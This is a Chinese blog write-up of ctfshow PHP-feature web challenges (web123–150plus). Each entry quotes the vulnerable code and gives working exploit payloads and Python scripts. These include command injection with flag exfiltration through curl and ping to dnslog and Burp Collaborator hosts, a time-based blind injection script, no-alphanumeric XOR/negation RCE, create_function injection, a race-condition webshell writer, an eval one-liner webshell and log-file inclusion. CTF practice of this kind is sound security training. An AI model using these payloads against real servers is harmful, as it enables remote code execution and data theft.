ctfshow-web入门php特性下

web123

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>

payload:

1
POST : CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格 + . [转换为_ 但是有一个特性可以绕过,使变量名出现.之类的 特殊字符[, GET或POST方式传参时,变量名中的[也会被替换为_,但其后的字符就不会被替换了 如 CTF[SHOW.COM=>CTF_SHOW.COM

另一个思路 CTF_SHOW=&CTF[SHOW.COM=&fun=var_dump($GLOBALS) (题目打不通)

web125-126

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>

多过滤了 echo , flag

1、cli模式(命令行)下

1
2
第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数

2、web网页模式下

1
2
3
4
5
6
7
在web页模式下必须在php.ini开启register_argc_argv配置项

设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果

这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]

$argv,$argc在web模式下不适用

因为我们是在网页模式下运行的,所以$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']也就是$a[0]= $_SERVER['QUERY_STRING']
这时候我们只要通过 eval(“$c”.”;”);将$flag赋值flag_give_me就可以了。

1
2
3
4
5
6
7
8
$_SERVER['QUERY_STRING'] 理解

http://localhost/aaa/index.php?p=222&q=333
结果:
$_SERVER['QUERY_STRING'] = "p=222&q=333";
$_SERVER['REQUEST_URI'] = "/aaa/index.php?p=222&q=333";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";

解法一

1
2
3
payload:
get: $fl0g=flag_give_me;
post: CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=eval($a[0])

另一种解法

1
2
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1]) (可以通过加号+分割argv成多个部分)

web127

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];

//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}

if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}

if($ctf_show==='ilove36d'){
echo $flag;
}
1
?ctf show=ilove36d

利用空格会自动转换为_来绕过waf

web128

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}

function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
} NULL

考察点:gettext拓展的使用

在开启该拓展后 _() 等效于 gettext()

1
2
3
4
5
6
<?php
echo gettext("phpinfo");

结果 phpinfo
echo ("phpinfo");
结果 phpinf

所以 call_user_func('','phpinfo') 返回的就是phpinfo

因为我们要得到的flag就在flag.php中,所以可以直接用get_defined_vars

get_defined_vars ( void ) : array
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
payload:

f1=_&f2=get_defined_vars

web129

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}

stripos() 函数查找字符串在另一字符串中第一次出现的位置 (不区分大小写)

利用目录穿越漏洞绕过 stripos 检测字符

1
?f=/ctfshow/../../../../../../../../../var/www/html/flag.php

也可以用php伪协议绕过

payload:f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.phpfilter伪协议支持多种编码方式,无效的就被忽略掉了。

web130-131

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}

考察点:利用正则最大回溯次数绕过

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。
python脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
url = 'http://03771c3c-6afb-4457-a719-19cc6ccf922e.chall.ctf.show'
data={
'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)

131
import requests
url = 'http://de7e4af3-18ec-4b13-8485-367088c7305a.challenge.ctf.show:8080/'
payload = {
'f':'a'*1000000+'36Dctfshow'
}
r = requests.post(url=url,data=payload)
print(r.text)

130可以用下面的

利用数组 f[]=ctfshow

web132

题目有问题 说一下考察点

访问robots.txt发现/admin,访问/admin,应该是源码,但我这404了,好像是题目出问题了

1
2
3
4
5
6
7
8
9
10
11
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}

从左向右进行if判断 举个例子就明白了

1
2
3
4
5
6
<?php
if(false && false || true){
echo 123;
}
?>//123

所以这里只要 $username为 admin就行了 就可以绕过第一个if了

1
2
?username=admin&password=1&code=admin

web133

1
2
3
4
5
6
7
8
9
10
11
12
<?php

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}

看了看大佬们的题解

1
2
3
4
5
6
7
8
9
get传参   F=`$F `;sleep 3
经过substr($F,0,6)截取后 得到 `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`");
也就是说最终会执行 ` `$F `;sleep 3 ` == shell_exec("`$F `;sleep 3");
前面的命令我们不需要管,但是后面的命令我们可以自由控制。
这样就在服务器上成功执行了 sleep 3
所以 最后就是一道无回显的RCE题目了

无回显我们可以用反弹shell 或者curl外带 或者盲注

这里的话反弹没有成功,但是可以外带。

dnslog payload:

1
2
3
?F = `$F`; curl `cat flag.php|grep "flag"`.65ye0m.dnslog.cn

但是自己之前测试过带出数据只能一排一排的带出,数据太多就不行 所以用grep 命令进行筛选

或者也可以用burp的插件

这个相当于是dnslog 但是比它强大

https://img-blog.csdnimg.cn/b876dfd900ac4b71b9d6daf4e5960940.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTc4NTI4OA==,size_16,color_FFFFFF,t_70

https://img-blog.csdnimg.cn/91e48822ea5e40f4849934ef64341499.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTc4NTI4OA==,size_16,color_FFFFFF,t_70

复制的url就相当于dnslog的地址

然后我们这里可以使用 curl -F 传文件到这个bp客户端

1
2
3
4
# payload 
#其中-F 为带文件的形式发送post请求
#xx是上传文件的name值,flag.php就是上传的文件
?F=`$F`;+curl -X POST -F xx=@flag.php http://8clb1g723ior2vyd7sbyvcx6vx1ppe.burpcollaborator.net

然后点击bp客户端轮询就可以看到一个http请求有flag

https://img-blog.csdnimg.cn/3d38ce3566c44339b15ccade19c9b73e.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTc4NTI4OA==,size_16,color_FFFFFF,t_70

web134

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}

测试代码

1
2
parse_str($_SERVER['QUERY_STRING']);
var_dump($_POST);

然后我们传入 _POST[a]=123
会发现输出的结果为array(1) { [“a”]=> string(3) “123” }
也就是说现在的$_POST[‘a’]存在并且值为123

题目中还有个extract($_POST)
这样的话 $a==123

payload:_POST[key1]=36d&_POST[key2]=36d

web135

1
2
3
4
5
6
7
8
9
10
11
12
<?php

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}

有写入权限

1
2
3
?F=`$F `;nl flag.php>1.txt
除了nl外还有vi,xxd,uniq都行

以及

1
2
3
?F=`$F `;cp flag.php 1.txt
?F=`$F `;mv flag.php 1.txt

ping也行

1
?F=`$F `;ping `awk '/flag/' flag.php`.1mlbcw.dnslog.cn

web136

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

涨姿势了

linux中还可以用tee写文件

1
2
3
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。

tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。
1
?c=ls /|tee a
1
?c=cat /f149_15_h3r3|tee c

web137

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}

call_user_func($_POST['ctfshow']);

call_user_func() 函数
函数说明:
call_user_func() 把第一个参数作为回调函数调用

call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
第一个参数 callback 是被调用的函数的函数名,其余参数是被调用函数的参数

1
2
3
4
php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.

也就是说双冒号可以不用实例化类就可以直接调用类中的方法

payload

1
ctfshow=ctfshow::getflag

web138

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}

if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}

call_user_func($_POST['ctfshow']);

call_user_func可以传数组

call_user_func 调用类函数方法的几个方式如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class myclass {
static function say_hello()
{
echo "Hello!\n";
}
}
$classname = "myclass";
call_user_func(array($classname, 'say_hello'));
call_user_func($classname .'::say_hello'); // As of 5.2.3

$myobject = new myclass();
call_user_func(array($myobject, 'say_hello'));

?>

所以我们这边使用传入数组的方式

payload

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

cmd = 'cat /f149_15_h3r3'
result = ''
for i in range(1, 10):
for j in range(1, 50):
print('i=', i, ' j=', j)
for k in range(32, 128):
k = chr(k)
payload = f"if [ `{cmd} |awk NR=={i}|cut -c {j}` == {k} ]; then sleep 3;fi"
payload = '?c=' + payload
url = 'http://e57892cf-2e4b-4688-adbc-b2c76bb1215c.challenge.ctf.show:8080'
try:
requests.get(url + payload, timeout=(2.5, 2.5))
except:
result = result + k
print(result)
break

师傅博客的例子

awk逐行获取

https://img-blog.csdnimg.cn/20201205095839895.png

cut命令截取单独的字符

https://img-blog.csdnimg.cn/2020120509593632.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTU1MTA4Mw==,size_16,color_FFFFFF,t_70

shell编程,if语句控制输出,sleep控制相应时间

https://img-blog.csdnimg.cn/20201205100002309.png

web140

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}

一个intval弱类型比较

只要让 intval等于0 就可以绕过了

intval会将非数字字符转换为0,也就是说 intval('a')==0 intval('.')==0 intval('/')==0所以md5(phpinfo()),md5(sleep()),md5(md5())等等就可,有很多 拼凑函数即可

1
2
f1=md5&f2=sleep
f1=md5&f2=phpinfo

web141

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

先来看下正则表达式
/^\W+$/ 作用是匹配非数字字母下划线的字符
构造命令参考yu师傅的无数字字母rce。我们先放到最后说,现在最主要的任务是return怎么绕过。
大家可以看下下面的示例

eval("return 1;phpinfo();");
会发现是无法执行phpinfo()的,但是php中有个有意思的地方,数字是可以和命令进行一些运算的,例如 1-phpinfo();是可以执行phpinfo()命令的。
这样就好说了。构造出1-phpinfo()-1就可以了,也就是说 v1=1&v2=1&v3=-phpinfo()-
现在我们的任务就是取构造命令,那我们就用个简单的方式取反来试一下。
运行脚本构造system(‘tac f*’)得到 (~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)
所以最终payload

v1=1&v3=-(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)-&v2=1

142

1
2
3
4
5
6
7
8
9
10
11
12
<?php

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}

payload

?v1=0

143

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

没有过滤异或符号 使用异或脚本 加号和减号被过滤了 可以使用乘号

1
v1=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*&v2=1

144

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
**<?php

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

function check($str){
return strlen($str)===1?true:false;
}**

变一下顺序就好

1
?v1=1&v2=(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)&v3=-

145

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

巧用三目运算符1?phpinfo():1 这样执行的就是phpinfo()

1
?v1=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):&v2=1

或者

1
?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|&v2=1

146

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
1
?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|&v2=1

或者

1
?v1=1&v3===(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|&v2=1

147

1
2
3
4
5
6
7
8
9
10
11
<?php

highlight_file(__FILE__);

if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}

}

考察点:create_function()代码注入

create_function('$a','echo $a."123"')

类似于

function f($a) { echo $a."123"; }

那么如果我们第二个参数传入 echo 1;}phpinfo();//
就等价于

function f($a) { echo 1;}phpinfo();// }
从而执行phpinfo()命令
fuzz后发现%5c可以绕过这个正则表达式,具体原理可以看下这篇文章
这样我们就可以执行任意命令了

Code Breaking 挑战赛 Writeup

payload

1
2
get: show=echo 123;}system('tac f*');//
post: ctf=%5ccreate_function

148

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}

可以用异或做

1
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b");

预期解是中文变量

1
code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
1
"`{{{"^"?<>/"; 异或出来的结果是 _GET

149

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

条件竞争,一个多线程用来写,一个用来读

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import io
import requests
import threading

url = 'http://d3aa0fa3-8a63-4994-8a43-80891c436065.chall.ctf.show/'

def write():
while event.isSet():
data = {
'show': '<?php system("cat /ctfshow_fl0g_here.txt");?>'
}
requests.post(url=url+'?ctf=1.php', data=data)

def read():
while event.isSet():
response = requests.get(url + '1.php')
if response.status_code != 404:
print(response.text)
event.clear()

if __name__ == "__main__":
event = threading.Event()
event.set()
for i in range(1, 100):
threading.Thread(target=write).start()

for i in range(1, 100):
threading.Thread(target=read).start()

非预期:直接写一句话到index.php

1
GET ?ctf=index.php
1
POST show=<?php eval($_POST[hack]);?>

150

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php

include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;

function __construct(){
$this->vip = 0;
$this->secret = $flag;
}

function __destruct(){
echo $this->secret;
}

public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}

function __autoload($class){
if(isset($class)){
$class();
}
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}

包含日志文件

修改ua头为一句话,日志文件是

1
/var/log/nginx/access.log

isVIP的话变量覆盖即可

https://img-blog.csdnimg.cn/4121b7e4028f49abad74ff7f38a09977.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTc4NTI4OA==,size_16,color_FFFFFF,t_70

150plus

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php

include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;

function __construct(){
$this->vip = 0;
$this->secret = $flag;
}

function __destruct(){
echo $this->secret;
}

public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}

function __autoload($class){
if(isset($class)){
$class();
}
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
include($ctf);
}

非预期解

session文件包含

预期解

使用?..CTFSHOW..=xxx可以绕过正则匹配,利用空格 [ . +自动转换为_的特性

__autoload()
这个函数并不属于CTFSHOW这个类的,全局都可以用
在定义这个函数后,尝试使用不存在的类的时候会自动加载
用法参考 https://www.php.cn/php-weizijiaocheng-426838.html
class_exists()同样会触发这个函数
传入?..CTFSHOW..=phpinfo就会执行phpinfo()
然后可以用LFI via PHPINFO
可以参考:https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md

修改一下exp再打

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2021-2023 Wh1tecell
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~